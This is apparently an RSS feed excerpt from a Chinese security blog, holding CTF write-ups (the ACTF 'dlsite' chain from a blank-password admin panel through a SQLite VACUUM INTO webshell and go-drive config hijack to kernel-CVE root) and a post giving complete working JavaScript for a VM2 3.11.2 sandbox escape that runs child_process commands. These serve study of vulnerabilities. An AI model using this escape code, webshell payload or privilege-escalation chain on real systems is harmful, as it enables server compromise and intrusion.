cron 拉起的进程不会继承当前 webshell 的 NoNewPrivs=1
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;因此可以通过 cron 触发 patched &lt;code&gt;/usr/bin/su&lt;/code&gt;。&lt;/p&gt;
&lt;hr /&gt;
&lt;h3&gt;1. 准备 root 执行脚本 &lt;code&gt;/tmp/x&lt;/code&gt;&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;/tmp/x&lt;/code&gt; 中写入要以 root 执行的命令。&lt;/p&gt;
&lt;p&gt;例如：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#!/bin/sh
id &amp;gt; /tmp/proofroot
cat /root/0-0/flag &amp;gt; /tmp/flagroot
chmod 0644 /tmp/flagroot
exit 0
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h3&gt;2. 安装 app 用户 cron&lt;/h3&gt;
&lt;p&gt;准备 cron 内容：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;cat /tmp/sucmds | /usr/bin/su
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;由于此时 &lt;code&gt;/usr/bin/su&lt;/code&gt; 已经被 patch 成 SUID root launcher，cron 到点执行时流程如下：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;cron 以 &lt;code&gt;app&lt;/code&gt; 用户身份执行任务。&lt;/li&gt;
&lt;li&gt;执行 &lt;code&gt;/usr/bin/su&lt;/code&gt;。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;/usr/bin/su&lt;/code&gt; 是 SUID root。&lt;/li&gt;
&lt;li&gt;launcher 以 root 身份执行 &lt;code&gt;/tmp/x&lt;/code&gt;。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;/tmp/x&lt;/code&gt; 读取 root flag 并写入 &lt;code&gt;/tmp/flagroot&lt;/code&gt;。&lt;/li&gt;
&lt;/ol&gt;
&lt;hr /&gt;
&lt;h2&gt;八、提权结果&lt;/h2&gt;
&lt;p&gt;实际观察到：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/tmp/proofroot owner 变成 0
/tmp/flagroot owner 变成 0
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;说明 &lt;code&gt;/tmp/x&lt;/code&gt; 已经以 root 身份执行成功。&lt;/p&gt;
&lt;p&gt;读取：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;cat /tmp/proofroot
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;可以看到 root 身份。&lt;/p&gt;
&lt;p&gt;读取：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;cat /tmp/flagroot
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;即可获得最终 flag。&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;九、总结&lt;/h2&gt;
&lt;p&gt;这题的完整利用链可以分成三段。&lt;/p&gt;
&lt;h3&gt;第一段：从后台到 PHP RCE&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;通过 &lt;code&gt;/manage&lt;/code&gt; 空密码 hash 登录后台。&lt;/li&gt;
&lt;li&gt;利用 SQLite &lt;code&gt;VACUUM INTO&lt;/code&gt; 写入 &lt;code&gt;ws.php&lt;/code&gt;。&lt;/li&gt;
&lt;li&gt;访问 &lt;code&gt;ws.php&lt;/code&gt;，获得 PHP RCE。&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;第二段：从 PHP RCE 到 app 用户 RCE&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;登录 &lt;code&gt;/new&lt;/code&gt; 后台。&lt;/li&gt;
&lt;li&gt;新建 &lt;code&gt;appx&lt;/code&gt; 和 &lt;code&gt;tmpx&lt;/code&gt; 两个 &lt;code&gt;fs&lt;/code&gt; drive。&lt;/li&gt;
&lt;li&gt;覆盖 &lt;code&gt;/app/config.yml&lt;/code&gt;，在 &lt;code&gt;thumbnail.handlers&lt;/code&gt; 中加入 shell handler。&lt;/li&gt;
&lt;li&gt;构造恶意 &lt;code&gt;script drive&lt;/code&gt;，让 &lt;code&gt;save()&lt;/code&gt; 返回 &lt;code&gt;null&lt;/code&gt;。&lt;/li&gt;
&lt;li&gt;触发一次写操作，使 go-drive task runner panic。&lt;/li&gt;
&lt;li&gt;supervisor 自动重启 go-drive，新配置生效。&lt;/li&gt;
&lt;li&gt;访问 &lt;code&gt;.cmd&lt;/code&gt; 文件缩略图，触发 &lt;code&gt;sh /tmp/cmd.sh&lt;/code&gt;，获得 app 用户 RCE。&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;第三段：从 app 用户到 root flag&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;使用 CVE-2026-31431 &lt;code&gt;copy-fail&lt;/code&gt; patch &lt;code&gt;/usr/bin/su&lt;/code&gt;。&lt;/li&gt;
&lt;li&gt;将 &lt;code&gt;/usr/bin/su&lt;/code&gt; 替换成 SUID root launcher。&lt;/li&gt;
&lt;li&gt;由于当前 webshell 存在 &lt;code&gt;NoNewPrivs=1&lt;/code&gt;，不能直接执行 patched &lt;code&gt;su&lt;/code&gt;。&lt;/li&gt;
&lt;li&gt;安装 app 用户 cron，让 cron 执行 patched &lt;code&gt;/usr/bin/su&lt;/code&gt;。&lt;/li&gt;
&lt;li&gt;cron 拉起的进程不继承当前 webshell 的 &lt;code&gt;NoNewPrivs&lt;/code&gt; 限制。&lt;/li&gt;
&lt;li&gt;patched &lt;code&gt;/usr/bin/su&lt;/code&gt; 以 root 权限执行 &lt;code&gt;/tmp/x&lt;/code&gt;。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;/tmp/x&lt;/code&gt; 读取 root flag，并写入 &lt;code&gt;/tmp/flagroot&lt;/code&gt;。&lt;/li&gt;
&lt;li&gt;最后读取 &lt;code&gt;/tmp/flagroot&lt;/code&gt;，获得最终 flag。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;核心点有三个：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;SQLite &lt;code&gt;VACUUM INTO&lt;/code&gt; 写文件。&lt;/li&gt;
&lt;li&gt;go-drive thumbnail handler 配置劫持。&lt;/li&gt;
&lt;li&gt;CVE-2026-31431 + cron 绕过 &lt;code&gt;NoNewPrivs&lt;/code&gt;。&lt;/li&gt;
&lt;/ol&gt;
</content:encoded></item><item><title>VM2@3.11.2沙箱逃逸</title><link>https://ymsora.com/posts/vm2%E6%B2%99%E7%AE%B1%E9%80%83%E9%80%B8/</link><guid isPermaLink="true">https://ymsora.com/posts/vm2%E6%B2%99%E7%AE%B1%E9%80%83%E9%80%B8/</guid><description>随心审计</description><pubDate>Sat, 16 May 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;很新的重磅CVE，VM2利用底层的V8进行的沙箱逃逸&lt;/p&gt;
&lt;p&gt;为此，clone了一份VM2@3.11.2的源码&lt;/p&gt;
&lt;p&gt;入口是&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;run(code, options) {
  let script;
  let filename;

  if (typeof options === &apos;object&apos;) {
    filename = options.filename;
  } else {
    filename = options;
  }

  if (code instanceof VMScript) {
    script = code._compileVM();
    checkAsync(this._allowAsync || !code._hasAsync);
  } else {
    const useFileName = filename || &apos;vm.js&apos;;
    let scriptCode = this._compiler(code, useFileName);
    const ret = transformer(null, scriptCode, false, false, useFileName);
    scriptCode = ret.code;
    checkAsync(this._allowAsync || !ret.hasAsync);
    // Compile the script here so that we don&apos;t need to create a instance of VMScript.
    script = new Script(scriptCode, {
      __proto__: null,
      filename: useFileName,
      displayErrors: false,
    });
  }
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;可以看到核心校验在const ret = transformer(null, scriptCode, false, false, useFileName);&lt;/p&gt;
&lt;p&gt;code被传入了transformer，&lt;/p&gt;
&lt;p&gt;可以看到最上面就导入了const {full: acornWalkFull} = require(&apos;acorn-walk&apos;);&lt;/p&gt;
&lt;p&gt;AST的语法扫描库，动态扫描AST的每一个节点，那看看是怎么进行判断的&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;acornWalkFull(ast, (node, state, type) =&amp;gt; {
        if (type === &apos;Function&apos;) {
            if (node.async) hasAsync = true;
        }
        const nodeType = node.type;
        if (nodeType === &apos;CatchClause&apos;) {
            const param = node.param;
            if (param) {
                if (param.type === &apos;Identifier&apos;) {
                    const name = assertType(param, &apos;Identifier&apos;).name;
                    const cBody = assertType(node.body, &apos;BlockStatement&apos;);
                    if (cBody.body.length &amp;gt; 0) {
                        insertions.push({
                            __proto__: null,
                            pos: cBody.body[0].start,
                            order: TO_LEFT,
                            coder: () =&amp;gt; `name={INTERNAL_STATE_NAME}.handleException(${name});`
                        });
                    }
                } else {
                    insertions.push({
                        __proto__: null,
                        pos: node.start,
                        order: TO_RIGHT,
                        coder: () =&amp;gt; `catch(${tmpname}){tmpname={INTERNAL_STATE_NAME}.handleException(${tmpname});try{throw ${tmpname};}`
                    });
                    insertions.push({
                        __proto__: null,
                        pos: node.body.end,
                        order: TO_LEFT,
                        coder: () =&amp;gt; `}`
                    });
                }
            }
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;当传入的代码有catch error时&lt;/p&gt;
&lt;p&gt;为了防止拿到constructor的function方法，这里对于AST树做了push， 改写 catch，&lt;/p&gt;
&lt;p&gt;让异常先过 handleException  ，当然，promise在bridge.js也做了hook，&lt;/p&gt;
&lt;p&gt;在VM2表面的源码来看仿佛是没什么可能性了，&lt;/p&gt;
&lt;p&gt;在Promise和异常被ban的情况下，这个CVE揭示了一些新的方向思考&lt;/p&gt;
&lt;p&gt;nodejs，以及chrome内核原始的js都是依赖于V8的实现，&lt;/p&gt;
&lt;p&gt;这个引擎是C为底层实现的&lt;/p&gt;
&lt;p&gt;难点在于我们如何不通过上述的两种方式以调用异常&lt;/p&gt;
&lt;p&gt;catch不行，new一个error类也不行，因为类已经经过了净化，这里就可以调用非catch和promise&lt;/p&gt;
&lt;p&gt;的方法去获取error对象，请看&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;class E extends Error {}

function so(d) {
    if (d &amp;gt; 0) so(d - 1);

    const e = new E();
    e.stack;

    throw e;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这里传入的d可以是两种结果，当然，&lt;/p&gt;
&lt;p&gt;这是尚未经过catch的e&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;async function* helper() {
    yield* {
        [Symbol.asyncIterator]: () =&amp;gt; ({
            next: v =&amp;gt; ({ value: v, done: false })
        })
    };
}

async function doCatch(f) {
    const i = helper();

    await i.next();

    const v = await i.return({
        then(r) {
            f();
            r();
        }
    });

    return v.value;
}

(async function f() {
    let min = 0;
    let max = 10000000;

    while (min &amp;lt; max) {
        const mid = (min + max) &amp;gt;&amp;gt; 1;

        const e = await doCatch(() =&amp;gt; so(mid));

        if (e.name === &quot;RangeError&quot; &amp;amp;&amp;amp; !(e instanceof RangeError)) {
            const process = e.constructor.constructor(&quot;return process&quot;)();
            const cp = process.mainModule.require(&quot;child_process&quot;);

            const cmd = process.platform === &quot;win32&quot;
                ? &quot;cmd /c echo pwned&amp;gt;pwned.txt&quot;
                : &quot;touch pwned&quot;;

            cp.execSync(cmd);

            return &quot;escaped&quot;;
        }

        if (e instanceof E) {
            min = mid + 1;
        } else {
            max = mid;
        }
    }

    return &quot;not triggered&quot;;
})();
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;so只有两个结果，一个是爆栈，另一个就是抛RangeError.&lt;/p&gt;
&lt;p&gt;helper是异步迭代生成器，当一个对象要想有异步迭代iterator&lt;/p&gt;
&lt;p&gt;就要有&lt;a&gt;Symbol.asyncIterator&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;在 const e = await doCatch(() =&amp;gt; so(mid));时候doCatch可能会收到RangeError，&lt;/p&gt;
&lt;p&gt;然后i.return尝试关闭 generator，并处理传入的 thenable&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;i.return({
        then(r) {
            f();
            r();
        }
    });
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这其中是有then方法的,V8会默认调用，then里会执行so(mid)，这里可能会抛出的RangeError就会被通过&lt;/p&gt;
&lt;p&gt;V8默认调用的方法跑完这个流程，并且赋值给e，&lt;/p&gt;
&lt;p&gt;这时已经完成了对VM2的绕过，这里并未利用catch和promise等等方法，拿到e后，&lt;/p&gt;
&lt;p&gt;const process = e.constructor.constructor(&quot;return process&quot;)();&lt;/p&gt;
&lt;p&gt;至此终了了&lt;/p&gt;
</content:encoded></item><item><title>空密码后台 → SQLite 落地 Webshell → 内核 CVE-2026-31431 root</title><link>https://ymsora.com/posts/dlsite/</link><guid isPermaLink="true">https://ymsora.com/posts/dlsite/</guid><description>取材ACTF dlsite</description><pubDate>Tue, 12 May 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;dlsite(空密码后台 → SQLite 落地 Webshell → 内核 CVE-2026-31431 root)&lt;/h1&gt;
&lt;p&gt;看看主站是什么&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Your site is working normally! Access data at /data, or new site at /new
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;没发现端倪，附件只给了个docker，去看看&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;RUN cd /var/www/html &amp;amp;&amp;amp; \
    rm -rf ./* &amp;amp;&amp;amp; \
    git clone --depth=1 https://github.com/mnihyc/dlsite.git . &amp;amp;&amp;amp; \
    touch index.html &amp;amp;&amp;amp; \
    sed -i &apos;9 i Your site is working normally! Access data at &amp;lt;a href=&quot;/data/&quot;&amp;gt;/data&amp;lt;/a&amp;gt;, or new site at &amp;lt;a href=&quot;/new/#/_/test&quot;&amp;gt;/new&amp;lt;/a&amp;gt;&apos; dl/index.html &amp;amp;&amp;amp; \
    ln -s /app/data/local/test dl/data &amp;amp;&amp;amp; \
    sqlite3 db.sqlite &quot;CREATE TABLE CONFIG(NAME NTEXT NOT NULL,TYPE NTEXT NOT NULL,VALUE NTEXT NOT NULL,PRIMARY KEY (NAME,TYPE));&quot; &amp;amp;&amp;amp; \
    chown -R root:www-data . &amp;amp;&amp;amp; \
    find . -type d -exec chmod 1775 {} + &amp;amp;&amp;amp; \
    find . -type f -exec chmod 0664 {} +
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这里看到后端是&lt;a href=&quot;https://github.com/mnihyc/dlsite.git&quot;&gt;https://github.com/mnihyc/dlsite&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;并且继续往下，&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;RUN cat &amp;gt; /etc/apache2/sites-available/000-default.conf &amp;lt;&amp;lt;&apos;EOF&apos;
&amp;lt;VirtualHost *:80&amp;gt;
    ServerAdmin webmaster@localhost
    DocumentRoot /var/www/html

    RewriteEngine On
    RewriteCond %{REQUEST_URI} !^/(main\.php|assets/|favicon\.ico$|robots\.txt$|new(?:/|$)|ancient(?:/|$))
    RewriteRule ^ /main.php [L]

    &amp;lt;Directory /var/www/html&amp;gt;
        Options FollowSymLinks
        AllowOverride None
        Require all granted
    &amp;lt;/Directory&amp;gt;

    &amp;lt;FilesMatch \.php$&amp;gt;
        SetHandler &quot;proxy:unix:/run/php/php-fpm.sock|fcgi://localhost&quot;
    &amp;lt;/FilesMatch&amp;gt;

    &amp;lt;Directory /app/data/local/test&amp;gt;
        Options FollowSymLinks
        AllowOverride None
        Require all granted
    &amp;lt;/Directory&amp;gt;

    ProxyPreserveHost On
    &amp;lt;LocationMatch &quot;^/ancient$&quot;&amp;gt;
        SetHandler &quot;proxy:unix:/run/apache2/ancient.sock|fcgi://localhost&quot;
        ProxyFCGIBackendType GENERIC
        ProxyFCGISetEnvIf &quot;true&quot; SCRIPT_FILENAME &quot;/app/data/local/test/index.cgi&quot;
        ProxyFCGISetEnvIf &quot;true&quot; SCRIPT_NAME &quot;/ancient&quot;
    &amp;lt;/LocationMatch&amp;gt;
    Alias /ancient/ /app/data/local/test/

    ProxyPass /new http://127.0.0.1:8089/new
    ProxyPassReverse /new http://127.0.0.1:8089/new

    ErrorLog ${APACHE_LOG_DIR}/error.log
    CustomLog ${APACHE_LOG_DIR}/access.log combined
&amp;lt;/VirtualHost&amp;gt;
EOF
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;apache将main.php后跟着的现存目录都重定向回去，.php走socket直接给php-fpm&lt;/p&gt;
&lt;p&gt;接下来就是审计后端&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;if(!OLDSTYLE_PATH || SUPPORT_NEWPATH)
    {
        $ismanage=($opath==&apos;/manage&apos;);
        if($opath==&apos;/view&apos; || $opath==&apos;/down&apos; || $opath==&apos;/manage&apos;)
        {
            $ropath=&apos;&apos;;
            if(substr($inpasswd,0,2)==&apos;p=&apos;)
            {
                $ropath=substr($inpasswd,2);
                if($ismanage)
                    $inpasswd=&apos;manage&apos;;
                else
                    $inpassver=isset($_POST[&apos;pass&apos;]);
                if(($vpos=strpos($ropath,&apos;&amp;amp;&apos;))!==FALSE)
                {
                    $inpasswd=substr($ropath,$vpos+1);
                    $inpassver|=!empty($inpasswd);
                    $ropath=substr($ropath,0,$vpos);
                }
            }
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;如果请求是/mange，覆盖$inpasswd=&apos;manage&apos;;&lt;/p&gt;
&lt;p&gt;然后截取的就是密码字段，接着就是&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;if($inpasswd===&apos;manage&apos;)
    {
        ob_start();
        htmlmsg();
        if(checkmanagepassword())
        {
            /* Insert a record */
            if(isset($_POST[&apos;qi&apos;]))
            {
                global $db;
                $db-&amp;gt;execwf(&quot;INSERT INTO CONFIG (NAME,TYPE,VALUE) VALUES (&apos;{$db-&amp;gt;escapeString($_POST[&apos;namei&apos;])}&apos;,&apos;{$db-&amp;gt;escapeString($_POST[&apos;typei&apos;])}&apos;,&apos;{$db-&amp;gt;escapeString($_POST[&apos;valuei&apos;])}&apos;)&quot;);
            }
            /* Delete a record */
            if(isset($_POST[&apos;qd&apos;]))
            {
                global $db;
                $db-&amp;gt;execwf(&quot;DELETE FROM CONFIG WHERE NAME=&apos;{$db-&amp;gt;escapeString($_POST[&apos;named&apos;])}&apos; AND TYPE=&apos;{$db-&amp;gt;escapeString($_POST[&apos;typed&apos;])}&apos;&quot;);
            }
            /* Update a record */
            if(isset($_POST[&apos;qu&apos;]))
            {
                global $db;
                $db-&amp;gt;execwf(&quot;UPDATE CONFIG SET VALUE=&apos;{$db-&amp;gt;escapeString($_POST[&apos;valueu&apos;])}&apos; WHERE NAME=&apos;{$db-&amp;gt;escapeString($_POST[&apos;nameu&apos;])}&apos; AND TYPE=&apos;{$db-&amp;gt;escapeString($_POST[&apos;typeu&apos;])}&apos;&quot;);
            }
            
            if(is_dir(__DIR__.FILE_DIR.$opath) &amp;amp;&amp;amp; substr($opath,-1,1)!==&apos;/&apos;)
                $opath.=&apos;/&apos;;
            $qsql=&quot;SELECT NAME,TYPE,VALUE FROM CONFIG WHERE NAME LIKE &apos;{$db-&amp;gt;escapeString($opath)}%&apos;&quot;;
            if(isset($_POST[&apos;sql&apos;]) &amp;amp;&amp;amp; !empty($_POST[&apos;sql&apos;]))
                $qsql=$_POST[&apos;sql&apos;];
            $qnamei=$opath;
            if(isset($_POST[&apos;qi&apos;]) &amp;amp;&amp;amp; isset($_POST[&apos;namei&apos;]) &amp;amp;&amp;amp; !empty($_POST[&apos;namei&apos;]))
                $qnamei=$_POST[&apos;namei&apos;];
            global $db;
            $res=$db-&amp;gt;queryarr($qsql);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;发现在check时候&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;function checkmanagepassword()
    {
?&amp;gt;
&amp;lt;div class=&quot;table-responsive&quot;&amp;gt;
        &amp;lt;table class=&quot;table table-striped table-sm&quot;&amp;gt;
            &amp;lt;thead&amp;gt;
                &amp;lt;tr&amp;gt;
                    &amp;lt;th class=&quot;d-table-cell&quot;&amp;gt;
                        &amp;lt;div class=&quot;container&quot;&amp;gt;
                            &amp;lt;p class=&quot;lead text-center&quot;&amp;gt;A &amp;lt;strong&amp;gt;password&amp;lt;/strong&amp;gt; verification is required to access this page. &amp;lt;br&amp;gt;&amp;lt;/p&amp;gt;
&amp;lt;?php
        $passvld=true;
        if(isset($_POST[&apos;manage&apos;]))
        {
            $_SESSION[&apos;manage&apos;]=gethashedpass($_POST[&apos;manage&apos;]);
            $_SESSION[&apos;expired&apos;]=time();
        }
        
        if(!isset($_SESSION[&apos;expired&apos;]))
            $passvld=false;
        else if(abs(time()-$_SESSION[&apos;expired&apos;])&amp;gt;=3600*24)
        {
            $passvld=false;
            echo &apos;&amp;lt;p class=&quot;lead text-center&quot;&amp;gt;Verification &amp;lt;span style=&quot;color: red;&quot;&amp;gt;&amp;lt;strong&amp;gt;expired&amp;lt;/strong&amp;gt;&amp;lt;/span&amp;gt;.&amp;lt;/p&amp;gt;&apos;;
        }
        else
        {
            if($_SESSION[&apos;manage&apos;]===MANAGE_PASSWORD)
            {
                $passvld=true;
                echo &apos;&amp;lt;p class=&quot;lead text-center&quot;&amp;gt;Verification &amp;lt;span style=&quot;color: green;&quot;&amp;gt;&amp;lt;strong&amp;gt;passed&amp;lt;/strong&amp;gt;&amp;lt;/span&amp;gt;.&amp;lt;/p&amp;gt;&apos;;
                
            }
            else
            {
                $passvld=false;
                echo &apos;&amp;lt;p class=&quot;lead text-center&quot;&amp;gt;Verification &amp;lt;span style=&quot;color: red;&quot;&amp;gt;&amp;lt;strong&amp;gt;failed&amp;lt;/strong&amp;gt;&amp;lt;/span&amp;gt;.&amp;lt;/p&amp;gt;&apos;;
            }
        }
        if(!$passvld)
        {
?&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;直接&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;if($_SESSION[&apos;manage&apos;]===MANAGE_PASSWORD)
            {
                $passvld=true;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;就可以返回true&lt;/p&gt;
&lt;p&gt;而这个默认的密码是空密码&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/* Encrypted password of the management page (keep it SECRET) */
    /* The way to compute: md5(md5(PSWD).&apos;+&apos;.sha1(PSWD)) */
    /* Default value 7f6d747029adeefe073804e34b089020 means blank password */
    define(&apos;MANAGE_PASSWORD&apos;,&apos;7f6d747029adeefe073804e34b089020&apos;);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;在直接传入/mange?p=，密码字段滞空，就会让check直接返回true，进入后台，审计下后台可做操作&lt;/p&gt;
&lt;p&gt;这里&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;if(is_dir(__DIR__.FILE_DIR.$opath) &amp;amp;&amp;amp; substr($opath,-1,1)!==&apos;/&apos;)
                $opath.=&apos;/&apos;;
            $qsql=&quot;SELECT NAME,TYPE,VALUE FROM CONFIG WHERE NAME LIKE &apos;{$db-&amp;gt;escapeString($opath)}%&apos;&quot;;
            if(isset($_POST[&apos;sql&apos;]) &amp;amp;&amp;amp; !empty($_POST[&apos;sql&apos;]))
                $qsql=$_POST[&apos;sql&apos;];
            $qnamei=$opath;
            if(isset($_POST[&apos;qi&apos;]) &amp;amp;&amp;amp; isset($_POST[&apos;namei&apos;]) &amp;amp;&amp;amp; !empty($_POST[&apos;namei&apos;]))
                $qnamei=$_POST[&apos;namei&apos;];
            global $db;
            $res=$db-&amp;gt;queryarr($qsql);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;$qsql可以直接进行sql语句执行&lt;/p&gt;
&lt;p&gt;这样，我们可以执行sql语句，那么怎么落地文件呢，这里要回到sqlite本身的语法&lt;/p&gt;
&lt;p&gt;在上面已经看到过config的示例表了，直接可以插入字段，一共三个字段&lt;/p&gt;
&lt;p&gt;在第一段插入php代码，但是如何落地&lt;/p&gt;
&lt;p&gt;VACUUM INTO filename;语法&lt;/p&gt;
&lt;p&gt;是可以将现在的数据库文件直接复制一份到指定目录的&lt;/p&gt;
&lt;p&gt;虽然大部分都是二进制，但是我们其中的php代码不会被转义&lt;/p&gt;
&lt;p&gt;我们将这个文件命名后缀为php然后&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;INSERT OR REPLACE INTO CONFIG (NAME, TYPE, VALUE)
VALUES (
  &apos;sora_payload&apos;,
  &apos;php&apos;,
  &apos;&amp;lt;?php file_put_contents(&quot;/var/www/html/dl/ws.php&quot;,base64_decode(&quot;PD9waHAgQGV2YWwoJF9QT1NUWyJjIl0pOz8+&quot;));?&amp;gt;&apos;
);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这样就可以将base64编码后的webshell直接插入可访问的目录&lt;/p&gt;
&lt;p&gt;达成基础的php rce，但是如何上升系统，因为php端有很多限制&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;open_basedir = /var/www/html:/tmp:/app/data/local/test
disable_functions = system, exec, shell_exec, passthru, proc_open, popen, copy, rename, unlink, symlink, ...
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;可以看看docker配置的第二部分&lt;/p&gt;
&lt;p&gt;被app直接拉起来，并且&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;[program:go-drive]
command=/usr/local/bin/no_priv /usr/local/bin/go-drive-bootstrap.sh
directory=/app
user=app
priority=30
autostart=true
autorestart=true
startsecs=0
stdout_logfile=/dev/fd/1
stdout_logfile_maxbytes=0
stderr_logfile=/dev/fd/2
stderr_logfile_maxbytes=0
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;并且autorestart=true，这里可以看看重启的用户和这个框架重启的逻辑&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;localRoot, _ := driveUtils.Config.GetLocalFsDir()
path, _ = filepath.Abs(filepath.Join(localRoot, path))
if exists, _ := utils.FileExists(path); !exists {
    return nil, notFound
}
return &amp;amp;Drive{path}, nil
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这里并没有检查filepath是否有路径穿越，而这又不是php配置的内容，所以可以绕开php.ini的封锁&lt;/p&gt;
&lt;p&gt;新建 fs drive 时填：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;../../../../app
filepath.Join(&quot;/app/data/local&quot;, &quot;../../../../app&quot;)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;最后会变成：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/app
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;所以我们可以通过new去挂载服务器的目录到后台，有点像访问指向&lt;/p&gt;
&lt;p&gt;所以把管理略缩图的config挂载之后下载之后改&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;thumbnail:
  handlers:
    - type: shell
      tags:
      file-types: cmd
      config:
        shell: sh /tmp/cmd.sh
        mime-type: text/plain
        write-content: false
        max-size: -1
        timeout: 30s
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;shell指的是这个类型用shell处理&lt;/p&gt;
&lt;p&gt;也就是：生成缩略图时，可以执行外部命令。&lt;/p&gt;
&lt;p&gt;并且定义后缀为cmd，也就是说当cmd后缀时&lt;/p&gt;
&lt;p&gt;调用sh /tmp/cmd.sh，并且返回text&lt;/p&gt;
&lt;p&gt;因为 PHP 的 open_basedir 允许 /tmp，所以可以用 ws.php 写：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;file_put_contents(&quot;/tmp/cmd.sh&quot;, &quot;id\nwhoami\nuname -a\n&quot;);
file_put_contents(&quot;/tmp/probe.cmd&quot;, &quot;&quot;);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;于是也就拿到了系统命令的RCE，但是依旧是要提权的&lt;/p&gt;
&lt;p&gt;当然在这之前，配置项的文件虽然改变了，但是实际上内存还是没有变化的，&lt;/p&gt;
&lt;p&gt;依旧需要重启这个服务，这里就要提到让这个go的程序崩溃的方法了&lt;/p&gt;
&lt;p&gt;一个方法就是调用动态脚本处理文件，&lt;/p&gt;
&lt;p&gt;再非预期去返回flase，&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;func (d *ScriptDrive) Save(...) error {
    result := runJS(...)
    return result
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这里的result如果是none在后面做path的时候就会&lt;/p&gt;
&lt;p&gt;panic: runtime error: invalid memory address or nil pointer dereference&lt;/p&gt;
&lt;p&gt;提权阶段，&lt;/p&gt;
&lt;p&gt;依旧是看看suid，以及其他的服务有没有&lt;/p&gt;
&lt;p&gt;但是这里的服务是通过no_prive起的，并且&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;struct sock_fprog prog = { sizeof(filter) / sizeof(filter[0]), filter };
    if (argc &amp;lt; 2) return 127;
    if (prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0)) return 126;
    if (prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, &amp;amp;prog)) return 126;
    execvp(argv[1], argv + 1);
    return 127;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这里PR_SET_NO_NEW_PRIVS指的是不让它起的新程序获得新的权限&lt;/p&gt;
&lt;p&gt;所以当前是没法进行直接su的&lt;/p&gt;
&lt;p&gt;我尝试了最近的核弹检测POC， CVE-2026-31431&lt;/p&gt;
&lt;p&gt;ta的内核并未打补丁，成功提权&lt;/p&gt;
&lt;p&gt;当然。此类CVE解析很多，就不赘述了&lt;/p&gt;
</content:encoded></item><item><title>空轨1st_杂谈</title><link>https://ymsora.com/posts/%E6%9D%82%E8%B0%88_1/</link><guid isPermaLink="true">https://ymsora.com/posts/%E6%9D%82%E8%B0%88_1/</guid><description>自白</description><pubDate>Fri, 01 May 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;空轨1st_杂谈&lt;/h1&gt;
